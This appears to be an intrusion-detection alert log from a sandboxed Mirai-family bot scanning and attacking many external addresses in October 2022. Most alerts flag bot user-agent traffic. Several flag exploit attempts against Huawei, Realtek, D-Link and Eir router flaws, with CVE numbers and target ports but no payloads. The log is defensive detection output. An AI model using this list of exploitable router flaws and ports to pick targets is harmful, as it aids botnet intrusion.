Timestamp:	192.168.2.2385.214.152.13042676802846457 10/23/22-17:57:16.980121
SID:	2846457
Source Port:	42676
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.22.222.254

Timestamp:	192.168.2.2346.22.222.25435020802846457 10/23/22-17:58:23.947115
SID:	2846457
Source Port:	35020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.65.176.173

Timestamp:	192.168.2.2382.65.176.17357190802846380 10/23/22-17:58:06.158919
SID:	2846380
Source Port:	57190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.182.250.44

Timestamp:	192.168.2.2385.182.250.4443018802846457 10/23/22-17:58:17.675581
SID:	2846457
Source Port:	43018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.160.59.61

Timestamp:	192.168.2.2395.160.59.6155138802027121 10/23/22-17:57:31.280934
SID:	2027121
Source Port:	55138
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.30.226.165

Timestamp:	192.168.2.23184.30.226.16533914802841623 10/23/22-17:58:35.989286
SID:	2841623
Source Port:	33914
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.123.26.108

Timestamp:	192.168.2.2361.123.26.10852008802846457 10/23/22-17:57:03.031309
SID:	2846457
Source Port:	52008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.217.203.162

Timestamp:	192.168.2.23112.217.203.16246600802027121 10/23/22-17:57:10.416403
SID:	2027121
Source Port:	46600
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.167.23.12

Timestamp:	192.168.2.2395.167.23.1255730802027121 10/23/22-17:57:31.353965
SID:	2027121
Source Port:	55730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.164.44.50

Timestamp:	192.168.2.2385.164.44.5054342802846457 10/23/22-17:58:17.724388
SID:	2846457
Source Port:	54342
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.239.253.59

Timestamp:	192.168.2.23213.239.253.5942700802846380 10/23/22-17:57:37.863396
SID:	2846380
Source Port:	42700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.218.248

Timestamp:	192.168.2.2395.101.218.24846982802027121 10/23/22-17:57:45.110477
SID:	2027121
Source Port:	46982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.84.196.96

Timestamp:	192.168.2.2395.84.196.9649294802027121 10/23/22-17:58:21.906560
SID:	2027121
Source Port:	49294
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.109.178.145

Timestamp:	192.168.2.23206.109.178.14536532802846380 10/23/22-17:57:18.686267
SID:	2846380
Source Port:	36532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.239.171.207

Timestamp:	192.168.2.23178.239.171.20749492802846380 10/23/22-17:58:13.489666
SID:	2846380
Source Port:	49492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.187.222.70

Timestamp:	192.168.2.2337.187.222.7035378802846457 10/23/22-17:57:31.531264
SID:	2846457
Source Port:	35378
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.80.93.168

Timestamp:	192.168.2.2395.80.93.16857048802027121 10/23/22-17:57:23.588409
SID:	2027121
Source Port:	57048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.114.11.175

Timestamp:	192.168.2.23122.114.11.17535594802846457 10/23/22-17:58:34.721796
SID:	2846457
Source Port:	35594
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.219.198.26

Timestamp:	192.168.2.2382.219.198.2643082802846380 10/23/22-17:56:39.308865
SID:	2846380
Source Port:	43082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.143.190.34

Timestamp:	192.168.2.2395.143.190.3455920802027121 10/23/22-17:57:13.055323
SID:	2027121
Source Port:	55920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.215.157.145

Timestamp:	192.168.2.23112.215.157.14548604802027121 10/23/22-17:57:52.063667
SID:	2027121
Source Port:	48604
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.229.253

Timestamp:	192.168.2.23112.74.229.25358570802027121 10/23/22-17:57:05.100364
SID:	2027121
Source Port:	58570
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.165.238.65

Timestamp:	192.168.2.23213.165.238.6535306802846380 10/23/22-17:57:58.462353
SID:	2846380
Source Port:	35306
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.138.220.36

Timestamp:	192.168.2.23164.138.220.3650862802846457 10/23/22-17:58:34.386628
SID:	2846457
Source Port:	50862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 18.185.14.121

Timestamp:	192.168.2.2318.185.14.12156320802835221 10/23/22-17:56:59.044847
SID:	2835221
Source Port:	56320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.52.223.87

Timestamp:	192.168.2.23195.52.223.8741530802846457 10/23/22-17:56:43.200335
SID:	2846457
Source Port:	41530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.90.158.125

Timestamp:	192.168.2.2395.90.158.12535632802027121 10/23/22-17:56:53.300379
SID:	2027121
Source Port:	35632
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.187.250.181

Timestamp:	192.168.2.2385.187.250.18139796802846457 10/23/22-17:57:41.232614
SID:	2846457
Source Port:	39796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 120.92.21.72

Timestamp:	192.168.2.23120.92.21.7239306802835222 10/23/22-17:57:41.496216
SID:	2835222
Source Port:	39306
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.23.57.19

Timestamp:	192.168.2.2384.23.57.1943080802846457 10/23/22-17:58:32.966323
SID:	2846457
Source Port:	43080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.154.237.179

Timestamp:	192.168.2.23213.154.237.17937630802846380 10/23/22-17:58:33.198325
SID:	2846380
Source Port:	37630
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.234.248.26

Timestamp:	192.168.2.23188.234.248.2642208802846457 10/23/22-17:57:00.290264
SID:	2846457
Source Port:	42208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.12.80.164

Timestamp:	192.168.2.23188.12.80.16456698802846457 10/23/22-17:57:47.843208
SID:	2846457
Source Port:	56698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.125.236

Timestamp:	192.168.2.23206.189.125.23639944802846380 10/23/22-17:57:29.327768
SID:	2846380
Source Port:	39944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.237.252.89

Timestamp:	192.168.2.2380.237.252.8960790802846380 10/23/22-17:57:43.250723
SID:	2846380
Source Port:	60790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.230.44.2

Timestamp:	192.168.2.2395.230.44.258844802027121 10/23/22-17:58:17.333711
SID:	2027121
Source Port:	58844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.151.99.195

Timestamp:	192.168.2.2388.151.99.19552616802027121 10/23/22-17:58:09.667670
SID:	2027121
Source Port:	52616
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.180.174.210

Timestamp:	192.168.2.2382.180.174.21033622802846380 10/23/22-17:57:55.380078
SID:	2846380
Source Port:	33622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.237.244.170

Timestamp:	192.168.2.23206.237.244.17037386802846380 10/23/22-17:58:39.795290
SID:	2846380
Source Port:	37386
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.195.66.80

Timestamp:	192.168.2.2345.195.66.8047360600012835222 10/23/22-17:58:16.590535
SID:	2835222
Source Port:	47360
Destination Port:	60001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.33.159.86

Timestamp:	192.168.2.23213.33.159.8649974802846380 10/23/22-17:56:58.220523
SID:	2846380
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.136.68.70

Timestamp:	192.168.2.2383.136.68.7054668802846380 10/23/22-17:58:27.227485
SID:	2846380
Source Port:	54668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.154.87.149

Timestamp:	192.168.2.2395.154.87.14959382802027121 10/23/22-17:58:13.003572
SID:	2027121
Source Port:	59382
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 211.230.198.234

Timestamp:	192.168.2.23211.230.198.2345602475472835222 10/23/22-17:58:21.207012
SID:	2835222
Source Port:	56024
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.95.53

Timestamp:	192.168.2.2395.101.95.5336712802027121 10/23/22-17:58:07.322514
SID:	2027121
Source Port:	36712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.60.241.27

Timestamp:	192.168.2.23169.60.241.2756906802846380 10/23/22-17:57:51.921872
SID:	2846380
Source Port:	56906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.215.75.189

Timestamp:	192.168.2.2388.215.75.18958826802027121 10/23/22-17:57:52.297848
SID:	2027121
Source Port:	58826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.220.219.5

Timestamp:	192.168.2.2395.220.219.560466802027121 10/23/22-17:56:53.331054
SID:	2027121
Source Port:	60466
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.148.49.139

Timestamp:	192.168.2.2388.148.49.13946250802027121 10/23/22-17:56:55.700368
SID:	2027121
Source Port:	46250
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.90.174.97

Timestamp:	192.168.2.23164.90.174.9746544802846457 10/23/22-17:58:34.368239
SID:	2846457
Source Port:	46544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.48.37

Timestamp:	192.168.2.2395.101.48.3759692802027121 10/23/22-17:58:39.900557
SID:	2027121
Source Port:	59692
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.54.174.73

Timestamp:	192.168.2.23206.54.174.7355984802846380 10/23/22-17:57:56.384128
SID:	2846380
Source Port:	55984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.161.176.118

Timestamp:	192.168.2.2389.161.176.11846056802846457 10/23/22-17:58:07.888196
SID:	2846457
Source Port:	46056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.228.200.113

Timestamp:	192.168.2.23122.228.200.11355490528692027339 10/23/22-17:57:13.843759
SID:	2027339
Source Port:	55490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.175.123.84

Timestamp:	192.168.2.2395.175.123.8452272802027121 10/23/22-17:57:21.047423
SID:	2027121
Source Port:	52272
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.239.73.26

Timestamp:	192.168.2.23178.239.73.2643444802846380 10/23/22-17:57:27.953857
SID:	2846380
Source Port:	43444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.16.232.50

Timestamp:	192.168.2.23112.16.232.5048798802027121 10/23/22-17:57:07.672992
SID:	2027121
Source Port:	48798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.56.88.151

Timestamp:	192.168.2.2395.56.88.15132876802027121 10/23/22-17:57:10.508381
SID:	2027121
Source Port:	32876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.61.176.218

Timestamp:	192.168.2.2337.61.176.21852240802846457 10/23/22-17:57:07.225214
SID:	2846457
Source Port:	52240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.252.128.198

Timestamp:	192.168.2.2389.252.128.19853072802846457 10/23/22-17:57:41.195924
SID:	2846457
Source Port:	53072
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.247.23.149

Timestamp:	192.168.2.2323.247.23.14953492802835222 10/23/22-17:58:09.588805
SID:	2835222
Source Port:	53492
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.143.59.90

Timestamp:	192.168.2.23200.143.59.9050554802846380 10/23/22-17:58:22.268112
SID:	2846380
Source Port:	50554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.234.151.239

Timestamp:	192.168.2.23156.234.151.23938852802835221 10/23/22-17:58:29.254030
SID:	2835221
Source Port:	38852
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.167.133.61

Timestamp:	192.168.2.2395.167.133.6146242802027121 10/23/22-17:57:07.985971
SID:	2027121
Source Port:	46242
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.163.167

Timestamp:	192.168.2.2388.99.163.16738284802027121 10/23/22-17:56:55.636157
SID:	2027121
Source Port:	38284
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.79.100.128

Timestamp:	192.168.2.2395.79.100.12842722802027121 10/23/22-17:57:10.399522
SID:	2027121
Source Port:	42722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.19.40.247

Timestamp:	192.168.2.232.19.40.24756212802846457 10/23/22-17:57:20.936290
SID:	2846457
Source Port:	56212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.19.116.201

Timestamp:	192.168.2.2384.19.116.20152724802846457 10/23/22-17:58:32.924272
SID:	2846457
Source Port:	52724
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.9.254.201

Timestamp:	192.168.2.235.9.254.20146138802846457 10/23/22-17:57:35.597658
SID:	2846457
Source Port:	46138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.233.150.211

Timestamp:	192.168.2.2395.233.150.21146914802027121 10/23/22-17:58:15.336128
SID:	2027121
Source Port:	46914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.226.189.79

Timestamp:	192.168.2.23122.226.189.7956512528692027339 10/23/22-17:58:20.081753
SID:	2027339
Source Port:	56512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.253.218

Timestamp:	192.168.2.23178.73.253.21847716802846380 10/23/22-17:58:27.264197
SID:	2846380
Source Port:	47716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.23.137.189

Timestamp:	192.168.2.232.23.137.18941384802846457 10/23/22-17:57:28.774429
SID:	2846457
Source Port:	41384
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.169.220.56

Timestamp:	192.168.2.2395.169.220.5645852802027121 10/23/22-17:58:21.906116
SID:	2027121
Source Port:	45852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.236.63.236

Timestamp:	192.168.2.23171.236.63.23657642802846457 10/23/22-17:58:39.917870
SID:	2846457
Source Port:	57642
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.234.188.123

Timestamp:	192.168.2.23200.234.188.12334796802846380 10/23/22-17:57:13.939438
SID:	2846380
Source Port:	34796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.217.249.154

Timestamp:	192.168.2.23178.217.249.15446152802846380 10/23/22-17:57:28.012879
SID:	2846380
Source Port:	46152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.228.150.86

Timestamp:	192.168.2.2346.228.150.8633954802846457 10/23/22-17:58:15.342921
SID:	2846457
Source Port:	33954
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.59.120.50

Timestamp:	192.168.2.2383.59.120.5057516802846380 10/23/22-17:58:19.929373
SID:	2846380
Source Port:	57516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.224.21

Timestamp:	192.168.2.2388.208.224.2144718802027121 10/23/22-17:58:21.826412
SID:	2027121
Source Port:	44718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.212.40.47

Timestamp:	192.168.2.23181.212.40.4760054802846380 10/23/22-17:57:49.035895
SID:	2846380
Source Port:	60054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.95.197

Timestamp:	192.168.2.2388.198.95.19743626802027121 10/23/22-17:57:02.420013
SID:	2027121
Source Port:	43626
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.223.39.248

Timestamp:	192.168.2.2382.223.39.24847384802846380 10/23/22-17:56:39.305609
SID:	2846380
Source Port:	47384
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 149.96.34.126

Timestamp:	192.168.2.23149.96.34.12645698802835221 10/23/22-17:57:38.794574
SID:	2835221
Source Port:	45698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.203.69

Timestamp:	192.168.2.2388.221.203.6947578802027121 10/23/22-17:58:21.830071
SID:	2027121
Source Port:	47578
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.191.47.175

Timestamp:	192.168.2.2354.191.47.17559730802841623 10/23/22-17:57:16.701947
SID:	2841623
Source Port:	59730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.113.230.176

Timestamp:	192.168.2.23195.113.230.17643946802846457 10/23/22-17:57:59.921521
SID:	2846457
Source Port:	43946
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 70.126.129.121

Timestamp:	192.168.2.2370.126.129.1215738075472023548 10/23/22-17:58:11.467563
SID:	2023548
Source Port:	57380
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.228.47.45

Timestamp:	192.168.2.2380.228.47.4556432802846380 10/23/22-17:58:39.130268
SID:	2846380
Source Port:	56432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.173.229.20

Timestamp:	192.168.2.2395.173.229.2035368802027121 10/23/22-17:58:12.841339
SID:	2027121
Source Port:	35368
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.77.121.221

Timestamp:	192.168.2.2395.77.121.22134920802027121 10/23/22-17:57:16.182729
SID:	2027121
Source Port:	34920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.116.63.249

Timestamp:	192.168.2.23195.116.63.24947134802846457 10/23/22-17:58:10.247956
SID:	2846457
Source Port:	47134
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.126.209.24

Timestamp:	192.168.2.23181.126.209.2451032802846380 10/23/22-17:57:11.279334
SID:	2846380
Source Port:	51032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

